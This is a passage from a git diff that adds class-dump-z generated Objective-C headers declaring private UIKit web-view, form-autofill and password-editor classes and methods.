textSuggestionDelegate; +@property(assign, nonatomic) BOOL contentsIsSingleValue; +@property(assign, nonatomic) BOOL acceptsEmoji; +@property(readonly, assign, nonatomic) UITextSelectionView* selectionView; +@property(readonly, assign, nonatomic) UITextInteractionAssistant* interactionAssistant; +@property(readonly, assign, nonatomic) UIView* content; +@property(readonly, assign, nonatomic, getter=isEditable) BOOL editable; +@property(readonly, assign, nonatomic, getter=isEditing) BOOL editing; ++(Class)layerClass; ++(id)standardTextViewPreferences; +-(id)_doubleTapSpeedFromDefaults; +-(void)_restoreViewportSettingsWithSize:(CGSize)size; +-(id)initSimpleHTMLDocumentWithStyle:(id)style editable:(BOOL)editable withFrame:(CGRect)frame withPreferences:(id)preferences; +-(id)initWithFrame:(CGRect)frame; +-(id)commonInitWithFrame:(CGRect)frame; +-(void)enableReachability; +-(void)dealloc; +-(id)retain; +-(void)release; +-(unsigned)retainCount; +-(void)_reachabilityManagerNotifiedIsReachable:(BOOL)reachable; +-(void)removeFromSuperview; +-(void)stopLoading:(id)loading; +-(void)setDelegate:(id)delegate; +-(void)loadRequest:(id)request; +-(void)loadHTMLString:(id)string baseURL:(id)url; +-(void)loadData:(id)data MIMEType:(id)type textEncodingName:(id)name baseURL:(id)url; +-(void)setLoadsSynchronously:(BOOL)synchronously; +-(BOOL)loadsSynchronously; +-(id)webView; +-(void)setUserStyleSheet:(id)sheet; +-(void)setDetectsPhoneNumbers:(BOOL)numbers; +-(BOOL)detectsPhoneNumbers; +-(BOOL)_dataDetectionIsActivated; +-(unsigned)effectiveDataDetectorTypes; +-(void)setDataDetectorTypes:(unsigned)types; +-(unsigned)dataDetectorTypes; +-(void)setUsePreTimberlineTransparencyBehavior; +-(void)setFrame:(CGRect)frame; +-(float)integralScaleForScale:(float)scale; +-(void)_setDocumentScale:(float)scale; +-(float)viewportWidth; +-(float)viewportHeight; +-(float)minimumScaleForMinimumSize:(CGSize)minimumSize; +-(float)initialScale; +-(float)minimumScale; +-(void)viewportConfigurationsDidChange:(unsigned)viewportConfigurations; +-(void)_setDocumentType:(int)type overrideCustomConfigurations:(BOOL)configurations; +-(void)_setDocumentType:(int)type; +-(void)_updateSize; +-(void)_clearDoubleTapRect; +-(void)webView:(id)view didReceiveViewportArguments:(id)arguments forFrame:(id)frame; +-(void)webView:(id)view needsScrollNotifications:(id)notifications forFrame:(id)frame; +-(BOOL)needsScrollNotifications; +-(void)enclosingScrollerDidScroll; +-(void)resetTilingAfterLoadComplete; +-(void)webView:(id)view didFinishLoadForFrame:(id)frame; +-(void)webViewDidLayout:(id)webView; +-(void)webView:(id)view didFirstVisuallyNonEmptyLayoutInFrame:(id)frame; +-(void)webView:(id)view didFailLoadWithError:(id)error forFrame:(id)frame; +-(void)webView:(id)view didCommitLoadForFrame:(id)frame; +-(void)webView:(id)view didReceiveDocTypeForFrame:(id)frame; +-(void)_WAKViewSizeDidChange:(id)_WAKViewSize; +-(void)setEnabledGestures:(int)gestures; +-(int)enabledGestures; +-(CGRect)documentBounds; +-(void)setAutoresizes:(BOOL)autoresizes; +-(void)setMinimumSize:(CGSize)size; +-(void)setViewportSize:(CGSize)size forDocumentTypes:(int)documentTypes; +-(void)setInitialScale:(float)scale forDocumentTypes:(int)documentTypes; +-(void)setMinimumScale:(float)scale forDocumentTypes:(int)documentTypes; +-(void)setMaximumScale:(float)scale forDocumentTypes:(int)documentTypes; +-(void)setAllowsUserScaling:(BOOL)scaling forDocumentTypes:(int)documentTypes; +-(BOOL)_updatesScroller; +-(void)_setScrollerOffset:(CGPoint)offset; +-(void)_restoreScrollPointForce:(BOOL)force; +-(void)_resetForNewPage; +-(void)webView:(id)view saveStateToHistoryItem:(id)historyItem forFrame:(id)frame; +-(void)webView:(id)view restoreStateFromHistoryItem:(id)historyItem forFrame:(id)frame force:(BOOL)force; +-(BOOL)webView:(id)view shouldScrollToPoint:(CGPoint)point forFrame:(id)frame; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(void)forceLayout; +-(void)layoutSubviews; +-(void)setNeedsDisplayInRect:(CGRect)rect; +-(void)setNeedsDisplay; +-(void)setSmoothsFonts:(BOOL)fonts; +-(void)setDrawsBackground:(BOOL)background; +-(void)setOpaque:(BOOL)opaque; +-(CGImageRef)createSnapshotWithRect:(CGRect)rect; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +-(void)setIgnoresFocusingMouse:(BOOL)mouse; +-(void)setIgnoresKeyEvents:(BOOL)events; +-(void)setTilingArea:(int)area; +-(void)_didScroll; +-(void)_sendInternalEvent:(GSEventRef)event; +-(CGPoint)_viewportLocationForEvent:(GSEventRef)event; +-(BOOL)_isSubviewOfPlugInView:(id)view; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(void)setDoubleTapDelay:(float)delay; +-(float)doubleTapDelay; +-(void)keyUp:(GSEventRef)up; +-(void)keyDown:(GSEventRef)down; +-(void)gestureStarted:(GSEventRef)started; +-(void)gestureChanged:(GSEventRef)changed; +-(void)gestureEnded:(GSEventRef)ended; +-(void)_notifyPlugInViewsOfScaleChange; +-(void)_notifyContentHostingLayersOfScaleChange; +-(void)revealedSelectionByScrollingWebFrame:(id)frame; +-(void)webView:(id)view attachRootLayer:(id)layer; +-(void)zoomToScale:(float)scale; +-(void)_reshapePlugInViews; +-(void)redrawScaledDocument; +-(void)setOrientation:(int)orientation; +-(void)_zoomToNode:(id)node; +-(void)scrollCaretToVisible:(id)visible; +-(CGPoint)_centeredScrollPointForPoint:(CGPoint)point scale:(float)scale; +-(CGPoint)_doubleTapScrollPointForRect:(CGRect)rect scale:(float)scale event:(GSEventRef)event; +-(float)_doubleTapScaleForSize:(float)size isWidth:(BOOL)width; +-(BOOL)_doubleTapZoomToRect:(CGRect)rect scale:(float)scale fromEvent:(GSEventRef)event; +-(void)_handleDoubleTapAtPoint:(CGPoint)point inWebHTMLView:(id)webHTMLView outRenderRect:(CGRect*)rect; +-(void)_handleDoubleTapAtPoint:(CGPoint)point inWebPDFView:(id)webPDFView outRenderRect:(CGRect*)rect; +-(void)doubleTap:(GSEventRef)tap; +-(CGRect)doubleTapRect; +-(BOOL)doubleTapRectIsReplaced; +-(void)setIsStandaloneEditableView:(BOOL)view; +-(BOOL)isStandaloneEditableView; +-(void)setStandaloneEditingElement:(id)element; +-(id)standaloneEditingElement; +-(void)setIsWidgetEditingView:(BOOL)view; +-(BOOL)isWidgetEditingView; +-(BOOL)updateKeyboardStateOnResponderChanges; +-(BOOL)canBecomeFirstResponder; +-(BOOL)canResignFirstResponder; +-(BOOL)becomeFirstResponder; +-(void)deferredBecomeFirstResponder; +-(BOOL)resignFirstResponder; +-(id)_responderForBecomeFirstResponder; +-(BOOL)makeWKFirstResponder; +-(void)ensureSelection; +-(void)setInteractionAssistantGestureRecognizers; +-(void)_undoManagerDidUndo:(id)_undoManager; +-(void)_undoManagerDidRedo:(id)_undoManager; +-(void)_undoManagerWillUndo:(id)_undoManager; +-(void)_undoManagerWillRedo:(id)_undoManager; +-(id)undoManagerForWebView:(id)webView; +-(id)undoManager; +-(id)_parentTextView; +-(void)_setParentTextView:(id)view; +-(BOOL)_editable; +-(void)_setEditable:(BOOL)editable; +-(id)delegate; +-(void)addInputString:(id)string; +-(void)deleteFromInput; +-(void)deleteBackward; +-(void)insertText:(id)text; +-(void)replaceRangeWithTextWithoutClosingTyping:(NSRange)textWithoutClosingTyping replacementText:(id)text; +-(void)replaceRangeWithText:(NSRange)text replacementText:(id)text2; +-(void)replaceCurrentWordWithText:(id)text; +-(void)setMarkedText:(id)text; +-(void)setMarkedText:(id)text selectedRange:(NSRange)range; +-(void)confirmMarkedText:(id)text; +-(id)markedText; +-(unsigned short)characterInRelationToCaretSelection:(int)caretSelection; +-(unsigned short)characterBeforeCaretSelection; +-(unsigned short)characterAfterCaretSelection; +-(id)fontForCaretSelection; +-(id)textColorForCaretSelection; +-(CGRect)rectForNSRange:(NSRange)nsrange; +-(id)rectsForNSRange:(NSRange)nsrange; +-(CGRect)rectContainingCaretSelection; +-(id)wordRangeContainingCaretSelection; +-(BOOL)shouldEnableAutoShift; +-(id)wordContainingCaretSelection; +-(id)wordInRange:(id)range; +-(void)expandSelectionToStartOfWordContainingCaretSelection; +-(int)wordOffsetInRange:(id)range; +-(void)replaceSelectionWithWebArchive:(id)webArchive selectReplacement:(BOOL)replacement smartReplace:(BOOL)replace; +-(NSRange)markedTextRange; +-(NSRange)selectionRange; +-(id)selectedDOMRange; +-(void)setSelectedDOMRange:(id)range affinityDownstream:(BOOL)downstream; +-(id)rangeByMovingCurrentSelection:(int)selection; +-(id)rangeByExtendingCurrentSelection:(int)selection; +-(void)extendCurrentSelection:(int)selection; +-(BOOL)hasSelection; +-(BOOL)hasSelectionInPlainTextRegion; +-(BOOL)selectionAtDocumentStart; +-(BOOL)selectionAtSentenceStart; +-(BOOL)selectionAtWordStart; +-(void)moveBackward:(unsigned)backward; +-(void)moveForward:(unsigned)forward; +-(void)selectAll; +-(void)setText:(id)text; +-(id)text; +-(BOOL)hasContent; +-(void)setCaretChangeListener:(id)listener; +-(CGRect)convertCaretRect:(CGRect)rect; +-(id)keyboardInputView; +-(id)implementationWebView; +-(BOOL)keyboardInput:(id)input shouldReplaceTextInRange:(NSRange)range replacementText:(id)text; +-(BOOL)keyboardInput:(id)input shouldInsertText:(id)text isMarkedText:(BOOL)text3; +-(BOOL)keyboardInputShouldDelete:(id)keyboardInput; +-(BOOL)keyboardInputChanged:(id)changed; +-(void)keyboardInputChangedSelection:(id)selection; +-(id)automaticallySelectedOverlay; +-(void)setBottomBufferHeight:(float)height; +-(int)keyboardInput:(id)input positionForAutocorrection:(id)autocorrection; +-(BOOL)isProxyFor:(id)aFor; +-(BOOL)requiresKeyEvents; +-(void)handleKeyEvent:(GSEventRef)event; +-(void)setPaused:(BOOL)paused; +-(id)webView:(id)view plugInViewWithArguments:(id)arguments fromPlugInPackage:(id)package; +-(void)webView:(id)view willShowFullScreenForPlugInView:(id)view2; +-(void)webView:(id)view didHideFullScreenForPlugInView:(id)view2; +-(void)didRemovePlugInView:(id)view; +-(BOOL)isShowingFullScreenPlugInUI; +-(id)textInputTraits; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +-(void)takeTraitsFrom:(id)from; +-(void)endSelectionChange; +-(void)beginSelectionChange; +-(void)updateSelection; +-(CGRect)selectionClipRect; +-(void)cut:(id)cut; +-(void)copy:(id)copy; +-(id)_supportedPasteboardTypesForCurrentSelection; +-(id)_documentFragmentForPasteboardItemAtIndex:(int)index; +-(void)paste:(id)paste; +-(void)select:(id)select; +-(void)selectAll:(id)all; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +-(CGRect)visibleFrame; +-(CGRect)visibleContentFrame; +-(CGRect)autoscrollDragFrame; +-(CGRect)autoscrollContentFrame; +-(BOOL)playsNicelyWithGestures; +-(BOOL)becomesEditableWithGestures; +-(void)setBecomesEditableWithGestures:(BOOL)gestures; +-(void)useSelectionAssistantWithMode:(int)mode; +-(void)willStartScroll; +-(void)didEndScroll; +-(void)willStartZoom; +-(void)didEndZoom; +-(BOOL)containsOnlySelectableElements; +-(BOOL)hasSimpleTextOnlyStructure; +-(void)detachSelectionView; +-(void)detachInteractionAssistant; +-(int)selectionState; +@end + +@interface UIWebDocumentView (SyntheticEvents) +-(id)_scriptingInfoForLink:(id)link; +-(id)_scriptingInfoForForm:(id)form; +-(id)scriptingInfoWithChildren; +@end + +@interface UIWebDocumentView (FieldEditorSupport) +-(id)_parentTextViewForLoupe; +-(BOOL)_usesSingleLineSelectionBehavior; +@end + +@interface UIWebDocumentView (Forms) +-(void)setAllowsUnapprovedFocus:(BOOL)focus; +-(BOOL)allowsUnapprovedFocus; +-(void)setFormEditingDelegate:(id)delegate; +-(id)formEditingDelegate; +-(id)formAssistant; +-(void)setFormEdited:(BOOL)edited; +-(BOOL)isFormEdited; +-(id)formElement; +-(BOOL)isAutoFilling; +-(void)webViewFormEditedStatusHasChanged:(id)changed; +-(void)webView:(id)view willCloseFrame:(id)frame; +-(void)acceptedAutoFillWord:(id)word; +-(void)autoFillWithElementValue; +-(BOOL)isAutoFillMode; +-(void)_autoFillFrame:(id)frame; +-(void)webView:(id)view didFinishDocumentLoadForFrame:(id)frame; +-(void)webView:(id)view didFirstLayoutInFrame:(id)frame; +@end + +@interface UIWebDocumentView (InteractionPrivate) +-(BOOL)canOpenNewPageForURL:(id)url; +-(void)_showImageSheet; +-(void)_showLinkSheet; +-(void)_showDataDetectorsSheet; +@end + +@interface UIWebDocumentView (Interaction) ++(id)_createDefaultHighlightView; ++(id)_highlightView; +-(void)clearInteractionTimer; +-(void)performInteractionSelector:(SEL)selector afterDelay:(double)delay; +-(CGPoint)convertWindowPointToViewport:(CGPoint)viewport; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)interactionMouseUp:(GSEventRef)up; +-(void)_resetInteractionWithLocation:(CGPoint)location; +-(void)startInteractionWithLocation:(CGPoint)location; +-(void)continueInteractionWithLocation:(CGPoint)location; +-(void)tapInteractionWithLocation:(CGPoint)location; +-(void)validateInteractionWithLocation:(CGPoint)location; +-(BOOL)startActionSheet; +-(BOOL)isInInteraction; +-(BOOL)willInteractWithLocation:(CGPoint)location; +-(void)interactionMouseDown:(GSEventRef)down; +-(void)defaultMouseDragged:(GSEventRef)dragged; +-(void)defaultMouseUp:(GSEventRef)up; +-(BOOL)canHandleHandEvent:(GSEventRef)event; +-(BOOL)handleHandEvent:(GSEventRef)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)webView:(id)view eventRegionsChanged:(id)changed; +-(BOOL)_directEventsHitTest:(CGPoint)test; +-(BOOL)_directEventsCheckEvent:(GSEventRef)event; +-(BOOL)_directEventsProcessEvent:(GSEventRef)event; +-(void)cancelInteractionWithCandidate; +-(BOOL)_interactionCandidateHasCustomHandlerForSelector:(SEL)selector; +-(void)_generateAndForwardUIEventForGSEvent:(GSEventRef)gsevent withTouchPhase:(int)touchPhase; +-(void)forwardMouseUpToInteractionCandidate:(GSEventRef)interactionCandidate; +-(void)forwardMouseDraggedToInteractionCandidate:(GSEventRef)interactionCandidate; +-(void)forwardEventsToInteractionCandidate; +-(void)performCandidateClick:(id)click; +-(void)performClick:(id)click; +-(void)_sendMouseMoveAndAttemptClick:(id)click; +-(void)attemptClick:(id)click; +-(void)webView:(id)view didObserveDeferredContentChange:(int)change forFrame:(id)frame; +-(void)webViewDidPreventDefaultForEvent:(id)webView; +-(id)approximateNodeAtViewportLocation:(CGPoint*)viewportLocation; +-(void)highlightApproximateNodeInverted:(BOOL)inverted; +-(void)hideTapHighlight; +-(void)highlightApproximateNodeAndDisplayInfoSheet; +-(void)resetInteraction; +-(void)completeInteraction; +-(void)cancelInteraction; +-(void)deferInteraction; +-(void)cancelInteractionWithImmediateDisplay:(BOOL)immediateDisplay; +-(void)_saveImages:(id)images; +-(void)_copyImage:(id)image; +-(void)_copyElement:(id)element; +-(void)actionSheet:(id)sheet clickedButtonAtIndex:(int)index; +-(void)sendScrollWheelEvents; +-(BOOL)eventCanTriggerGestureScrolling:(GSEventRef)scrolling; +-(void)setInteractionDelegate:(id)delegate; +-(id)interactionDelegate; +-(void)setAllowsImageSheet:(BOOL)sheet; +-(void)setAllowsDataDetectorsSheet:(BOOL)sheet; +-(id)superviewForSheet; +-(void)_incrementBrowserSheets:(id)sheets; +-(void)_decrementBrowserSheets:(id)sheets; +-(void)showBrowserSheet:(id)sheet; +-(void)hideBrowserSheet:(id)sheet; +-(void)actionWillStart; +-(void)actionDidFinish; +@end + +@interface UIWebDocumentView (Messaging) +-(void)webView:(id)view didReceiveMessage:(id)message; +-(void)setAllowsMessaging:(BOOL)messaging; +-(BOOL)allowsMessaging; +-(id)messagesMatchingMask:(int)mask; +-(void)clearMessagesMatchingMask:(int)mask; +@end + +@interface UIWebDocumentView (PDF) ++(id)_PDFPageNumberLabel; +-(void)hidePDFPageNumberLabel; +-(void)updatePDFPageNumberLabel; +@end + +@interface UIWebDocumentView (Selecting) +-(BOOL)mouseEventsChangeSelection; +-(BOOL)shouldChangeSelectionForEvent:(GSEventRef)event; +-(CGRect)visibleRectForSelecting; +-(CGPoint)constrainedPoint:(CGPoint)point; +-(void)textLoupeTimerAction; +-(void)selectionMouseDown:(GSEventRef)down; +-(void)selectionMouseDragged:(GSEventRef)dragged; +-(void)selectionMouseUp:(GSEventRef)up; +-(BOOL)shouldUseTextLoupe; +-(void)updateTextLoupe:(CGPoint)loupe; +-(BOOL)autocorrectPromptCapturedMouseDown:(GSEventRef)down; +@end + +@interface UIWebDocumentView (Style) +-(id)createCSSStyleDeclaration; +@end + +@interface UIWebDocumentView (UIWebDocumentViewTextSelecting) +-(void)selectWord; +-(CGRect)convertRectFromSelectedFrameCoordinates:(CGRect)selectedFrameCoordinates; +-(CGPoint)convertPointToSelectedFrameCoordinates:(CGPoint)selectedFrameCoordinates; +-(void)selectionChanged; +-(void)selectionChanged:(id)changed; +-(void)clearSelection; +-(void)alterSelection:(CGPoint)selection granularity:(int)granularity; +-(void)setSelectionToNextGranularity:(CGPoint)nextGranularity; +-(int)selectionGranularity; +-(void)setSelectionGranularity:(int)granularity; +-(BOOL)selectionGranularityIncreasing; +-(void)setSelectionGranularityIncreasing:(BOOL)increasing; +-(BOOL)hasSelection; +-(BOOL)hasEditableSelection; +-(BOOL)hasMarkedText; +-(CGRect)closestCaretRectInMarkedTextRangeForPoint:(CGPoint)point; +-(unsigned)selectionOffsetInMarkedText; +-(int)selectionState; +-(void)collapseSelection; +-(void)setCaretInsets:(UIEdgeInsets)insets; +-(UIEdgeInsets)caretInsets; +-(CGRect)caretRect; +-(CGRect)closestCaretRectForPoint:(CGPoint)point inSelection:(BOOL)selection; +-(BOOL)pointAtStartOfLine:(CGPoint)line; +-(BOOL)pointAtEndOfLine:(CGPoint)line; +-(BOOL)isPoint:(CGPoint)point inRange:(id)range; +-(int)selectionBaseWritingDirection:(BOOL*)direction; +-(void)toggleBaseWritingDirection; +-(void)setBaseWritingDirection:(int)direction; +-(void)setRangedSelectionBaseToCurrentSelection; +-(void)setRangedSelectionBaseToCurrentSelectionStart; +-(void)setRangedSelectionBaseToCurrentSelectionEnd; +-(void)clearRangedSelectionInitialExtent; +-(void)setRangedSelectionInitialExtentToCurrentSelectionStart; +-(void)setRangedSelectionInitialExtentToCurrentSelectionEnd; +-(BOOL)setRangedSelectionExtentPoint:(CGPoint)point baseIsStart:(BOOL)start; +-(void)setRangedSelectionExtentPoint:(CGPoint)point baseIsStart:(BOOL)start allowFlipping:(BOOL)flipping; +-(void)setSelectionWithFirstPoint:(CGPoint)firstPoint secondPoint:(CGPoint)point; +-(id)wordAtPoint:(CGPoint)point; +-(void)moveSelectionToStartOrEndOfCurrentWord; +-(id)selectionRectsForRange:(id)range; +-(id)selectionRects; +-(void)smartExtendRangedSelection:(int)selection; +-(void)setRangedSelectionWithExtentPoint:(CGPoint)extentPoint; +-(void)setSelectionToEnd; +-(void)setSelectionToStart; +-(void)selectAll; +-(BOOL)selectionIsCaretInDisplayBlockElementAtOffset:(int)offset; +-(void)setAutoscrollContentOffset:(CGPoint)offset; +-(CGPoint)autoscrollContentOffset; +-(CGRect)contentFrameForView:(id)view; +-(void)startAutoscroll:(CGPoint)autoscroll; +-(void)cancelAutoscroll; +-(void)scrollSelectionToVisible:(BOOL)visible; +-(void)setSelectionWithPoint:(CGPoint)point; +-(CGRect)visibleBounds; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebDragDotView.h b/igor/headers/dumpedUIKit/UIWebDragDotView.h new file mode 100644 index 0000000..a4ebbf3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebDragDotView.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImageView; + +__attribute__((visibility("hidden"))) +@interface UIWebDragDotView : UIView { +@private + UIImageView* _ball; + BOOL m_dotAtTop; +} +@property(assign, nonatomic) BOOL showsBall; +-(id)initWithFrame:(CGRect)frame withDotAtTop:(BOOL)top; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebFormABCompatibility.h b/igor/headers/dumpedUIKit/UIWebFormABCompatibility.h new file mode 100644 index 0000000..13f5ff0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebFormABCompatibility.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UIWebFormABCompatibility : NSObject { +} ++(int)convertID:(id)anId; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebFormCompletionController.h b/igor/headers/dumpedUIKit/UIWebFormCompletionController.h new file mode 100644 index 0000000..a268853 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebFormCompletionController.h @@ -0,0 +1,83 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class NSString, NSMutableDictionary, DOMElement, DOMHTMLInputElement; + +@interface UIWebFormCompletionController : NSObject { + DOMHTMLInputElement* _element; + NSString* _fieldName; + DOMElement* _form; + BOOL _isLoginForm; + NSMutableDictionary* _items; +} ++(BOOL)previousDataCompletionEnabled; ++(BOOL)shouldSaveFormData; ++(BOOL)addressBookCompletionEnabled; ++(BOOL)passwordCompletionEnabled; ++(BOOL)shouldSaveUsernamesAndPasswords; ++(id)_cryptData:(id)data encode:(BOOL)encode; ++(void)_loadCompletionDB; ++(void)_pruneCompletionDB; ++(void)_reapABMarker:(id)marker forFrame:(id)frame fieldName:(id)name; ++(void)_saveCompletionDB:(id)db; ++(void)_saveCompletionDBSoon; ++(void)_appWillTerminate:(id)_app; ++(id)domainsWithPreviousData; ++(void)clearPreviousDataForDomain:(id)domain; ++(void)clearPreviousDataDatabase; ++(BOOL)_frame:(id)frame sourceFrame:(id)frame2 willSubmitLoginForm:(id)form withValues:(id)values autoFiller:(id)filler submissionListener:(id)listener; ++(void)actionSheet:(id)sheet clickedButtonAtIndex:(int)index; ++(void)_frame:(id)frame sourceFrame:(id)frame2 willSubmitRegularForm:(id)form withValues:(id)values; ++(void)frame:(id)frame sourceFrame:(id)frame2 willSubmitForm:(id)form withValues:(id)values submissionListener:(id)listener; ++(unsigned)_indexOfMarkerInMatches:(id)matches matchingABMatch:(id)match; ++(id)_abMultiValuesForPerson:(void*)person property:(id)property property:(int)property3 key:(id)key label:(id)label; ++(id)_abValuesForPerson:(void*)person property:(id)property propertyID:(int)anId key:(id)key label:(id)label; ++(id)_abValuesForProperty:(id)property key:(id)key label:(id)label; ++(void)_addABMatchesToArray:(id)array forString:(id)string atABPointer:(id)abpointer; ++(void)_addPreviousDataMatchesToArray:(id)array forString:(id)string frame:(id)frame fieldName:(id)name; ++(id)_credentialMatchesForString:(id)string frame:(id)frame; ++(id)_matchesForString:(id)string frame:(id)frame fieldName:(id)name control:(id)control; ++(id)currentFormInFrame:(id)frame; ++(id)firstFormInFrame:(id)frame; ++(id)currentOrFirstFrameAndForm:(id*)form inWebView:(id)webView; ++(BOOL)_autoFillPasswordInFrame:(id)frame autoFiller:(id)filler; ++(BOOL)autoFillInWebView:(id)webView; ++(id)preFillForm:(id)form inFrame:(id)frame; ++(void)preFillInWebFrame:(id)webFrame; ++(BOOL)credentialIsNeverSaveMarker:(id)marker; ++(void)clearAutoFillStateForFrame:(id)frame; +-(id)queryString; +-(id)unsortedListItemsWithQueryString:(id)queryString; +-(id)computeListItemsAndInitiallySelectedIndex:(unsigned*)index withQueryString:(id)queryString; +-(id)initWithDOMElement:(id)domelement webFrame:(id)frame; +-(void)dealloc; +-(id)webFrame; +-(void)sourceFieldTextDidChange; +-(id)selectedListItem:(id)item; +-(void)autoFillCommand:(id)command; +-(BOOL)doSourceFieldCommandBySelector:(SEL)selector; +-(BOOL)textField:(id)field shouldHandleEvent:(GSEventRef)event; +-(BOOL)shouldSuppressAutocomplete; +-(void)reflectSelectedListItem:(id)item; +-(void)reflectFinalSelectedListItem:(id)item; +-(id)reflectedStringForHighlightedListItem:(id)highlightedListItem; +-(id)reflectedStringForActivatedListItem:(id)activatedListItem; +-(BOOL)leavingFieldReflectsSelectedListItem; +-(BOOL)returnPerformsActionWhenShowingList; +-(BOOL)showsListForSingleListItem; +-(void)sourceFieldTextDidEndEditing; +-(void)abortCompletion; +-(BOOL)currentTextChangeIsProgrammatic; +-(XXStruct_HeigOC)suggestionsForString:(id)string inputIndex:(unsigned)index; +-(BOOL)hasCurrentSuggestions; +-(void)acceptedAutoFillWord:(id)word; +-(void)autoFillWithElementValue; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebFormDelegate.h b/igor/headers/dumpedUIKit/UIWebFormDelegate.h new file mode 100644 index 0000000..fc4aee5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebFormDelegate.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIWebFormDelegate.h" +#import +#import "UIKit-Structs.h" +#import "WebFormDelegate.h" + +@class NSMutableDictionary, UIWebFormCompletionController; +@protocol BrowserDocumentController; + +__attribute__((visibility("hidden"))) +@interface UIWebFormDelegate : NSObject { +@private + UIWebFormCompletionController* _completionController; + id _controller; + NSMutableDictionary* _editedForms; +} +-(void)dealloc; +-(void)frame:(id)frame sourceFrame:(id)frame2 willSubmitForm:(id)form withValues:(id)values submissionListener:(id)listener; +-(void)textDidChangeInTextArea:(id)text inFrame:(id)frame; +-(void)textDidChangeInTextField:(id)text inFrame:(id)frame; +-(void)textFieldDidBeginEditing:(id)textField inFrame:(id)frame; +-(void)textFieldDidEndEditing:(id)textField inFrame:(id)frame; +-(BOOL)textField:(id)field doCommandBySelector:(SEL)selector inFrame:(id)frame; +-(BOOL)textField:(id)field shouldHandleEvent:(GSEventRef)event inFrame:(id)frame; +-(id)initWithController:(id)controller; +-(void)dataSourceHasChangedForFrame:(id)frame; +-(BOOL)formWasEdited; +-(void)formWillHide; +-(void)frameLayoutHasChanged:(id)changed; +-(void)setController:(id)controller; +-(void)formElementDidSetValue:(id)formElement inFrame:(id)frame; +-(void)formElementDidFocus:(id)formElement inFrame:(id)frame; +-(void)formElementDidBlur:(id)formElement inFrame:(id)frame; +-(XXStruct_HeigOC)suggestionsForString:(id)string inputIndex:(unsigned)index; +-(BOOL)hasCurrentSuggestions; +-(void)acceptedAutoFillWord:(id)word; +-(void)autoFillWithElementValue; +@end + +@interface UIWebFormDelegate (FileInternal) +-(void)_didEditFormElement:(id)element inFrame:(id)frame; +-(BOOL)_shouldIgnoreFormTextChangesInFrame:(id)frame; +-(void)_clearEditedFormsInFrame:(id)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebFormPasswordsEditor.h b/igor/headers/dumpedUIKit/UIWebFormPasswordsEditor.h new file mode 100644 index 0000000..bf7a22c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebFormPasswordsEditor.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSDictionary, NSMutableDictionary, NSMutableArray; + +@interface UIWebFormPasswordsEditor : NSObject { + NSDictionary* _credentialsByProtectionSpace; + NSMutableArray* _flattenedCredentials; + NSMutableDictionary* _credentialToProtectionSpaceMap; + BOOL _ignoreNotifications; +} ++(id)sharedPasswordsEditor; +-(id)protectionSpaceForCredential:(id)credential; +-(id)addressStringForCredential:(id)credential; +-(void)resetCredentials; +-(void)credentialsChanged:(id)changed; +-(void)startMonitoringCredentials; +-(void)stopMonitoringCredentials; +-(void)dealloc; +-(void)removeSelectedItems:(id)items; +-(void)removeAll; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebLayer.h b/igor/headers/dumpedUIKit/UIWebLayer.h new file mode 100644 index 0000000..8e1cddc --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebLayer.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UIWebLayer : CALayer { +@private + BOOL _layoutsSuspended; +} +-(void)setNeedsLayout; +-(void)setLayoutsSuspended:(BOOL)suspended; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebLongPressInSelectableRecognizer.h b/igor/headers/dumpedUIKit/UIWebLongPressInSelectableRecognizer.h new file mode 100644 index 0000000..8ec0a11 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebLongPressInSelectableRecognizer.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 